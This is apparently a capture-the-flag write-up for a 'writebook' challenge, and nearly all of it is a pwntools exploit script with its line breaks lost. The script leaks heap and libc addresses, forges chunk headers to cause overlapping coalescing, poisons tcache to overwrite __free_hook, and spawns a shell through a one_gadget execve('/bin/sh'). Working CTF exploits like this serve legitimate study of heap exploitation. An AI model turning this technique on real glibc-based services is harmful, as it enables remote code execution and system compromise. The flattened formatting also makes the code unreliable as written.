解题过程
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import*exe = context.binary = ELF('./writebook')if args.LIBC: libc_path = "./libc.so.6" os.environ['LD_PRELOAD'] = libc_pathelse: libc_path = "/lib/x86_64-linux-gnu/libc.so.6"libc = ELF(libc_path)def start(argv=[], *a, **kw):'''Start the exploit against the target.'''if args.GDB: context.terminal = ['tmux','splitw','-h']return gdb.debug([exe.path] + argv)elif args.REMOTE:return remote("127.0.0.1", "8892")else:return process([exe.path] + argv, *a, **kw)#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Full RELRO# Stack: Canary found# NX: NX enabled# PIE: PIE enabled"""size: 32[+] Heap-Analysis- __libc_malloc(32)=0x555555757040page #11.New page2.Write paper3.Read paper4.Destroy the page5.Repick> 3"""HEAP_BASE = 0LIBC_BASE = 0def create_page(size): io.sendline("1") io.recvuntil("both sides?")if240< size: io.sendline("2")else: io.sendline("1") io.sendline(str(size))def remove_page(nr): io.sendline("4") io.recvuntil("Page:") io.sendline(str(nr))def print_page(nr): io.sendline("3") io.recvuntil("Page:") io.sendline(str(nr))def load_page(nr, data): io.sendline("2") io.recvuntil("Page:") io.sendline(str(nr)) io.recvuntil("Content:") io.send(data)def get_heapleak(pg_nr):global HEAP_BASE print_page(pg_nr) io.recvuntil("Content:") leakstr = io.recvline()[1:-1] + b"\x00\x00"print(hex(u64(leakstr))) heap_leak = u64(leakstr) HEAP_BASE = heap_leak - 0xd30print("-"* 89)print("HEAPBASE: %s"% hex(HEAP_BASE))def get_libcleak(pg_nr):global LIBC_BASE print_page(pg_nr) io.recvuntil("Content:") leakstr = io.recvline()[1:-1] + b"\x00\x00"print(hex(u64(leakstr))) libc_leak = u64(leakstr) LIBC_BASE = libc_leak - 0x3ec070print("-"* 89)print("LIBC_BASE: %s"%hex(LIBC_BASE))io = start()io.recvuntil("> ")# shellcode = asm(shellcraft.sh())length = 0xf0-8biglength = 0xf0print("[*]First Create")create_page(0x1e0) #load_page(0, cyclic(0x1e0))payload = b"A"*8payload += p64(0x331)load_page(0, payload)io.sendline()create_page(0x40) create_page(0x50)create_page(0x60)create_page(40)create_page(0x1e0) create_page(0x90)create_page(0xf0) create_page(0xf0) create_page(0xf0) create_page(0xf0) create_page(0xf0) create_page(0xf0) create_page(0xf0) print("[*]Remove last 7")remove_page(7)remove_page(8)remove_page(9)remove_page(10)remove_page(11)remove_page(12)remove_page(13)print("[*]Create 0xf0")create_page(0xf0) print("[*]Heap Leak")get_heapleak(7)print("[*]Remove last")remove_page(7)#7create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) #keep from merging with topremove_page(7)remove_page(8)remove_page(9)remove_page(10)remove_page(11)remove_page(12)remove_page(13)remove_page(14)remove_page(15)create_page(0x1d0) get_libcleak(7)remove_page(7)print("LIBC_BASE: %s"%hex(LIBC_BASE))print("HEAP_BASE: %s"%hex(HEAP_BASE))payload = b"-"*(0x100-8)payload += p64(0xf1)load_page(5, payload)io.sendline()#tcache is now full for 0x1e0, overflow the next chunk header and set prev sizeCHUNK_TO_COALESCE = HEAP_BASE+0x260FAKECHUNK_BASE = CHUNK_TO_COALESCE+0x18FREE_HOOK = LIBC_BASE+0x3ed8e8payload = b""payload += b"A"*32payload += p64(0x330) #fake prev_size pointing to page 0load_page(4, payload)payload = b"A"*8payload += p64(0x331)payload += p64(FAKECHUNK_BASE)payload += p64(FAKECHUNK_BASE+0x8)payload += p64(0x0)payload += p64(0x0)payload += p64(CHUNK_TO_COALESCE)len(payload)load_page(0, payload)io.sendline()#io.interactive()# free the page we modified the chunk onremove_page(5)# we now have unsorted bin pointing to 0x270 offset which overlaps. Now create a page to get that pointercreate_page(0x1d0) create_page(0x1d0)create_page(0x1d0)# then remove to get into tcacheremove_page(5)remove_page(6)remove_page(7)remove_page(8)# 0x270 offset pointer is now in tcache# overwrite the next pointerpayload = b""payload += p64(0)payload += p64(0x1e1)payload += p64(FREE_HOOK)load_page(0, payload)io.sendline()create_page(0x1d0)create_page(0x1d0)# Write the magic gadget to __free_hook ptrpayload = p64(LIBC_BASE+0x4f432)load_page(6, payload)io.sendline()# free a pageremove_page(3)io.interactive()"""0x4f432 execve("/bin/sh", rsp+0x40, environ)constraints:[rsp+0x40] == NULL"""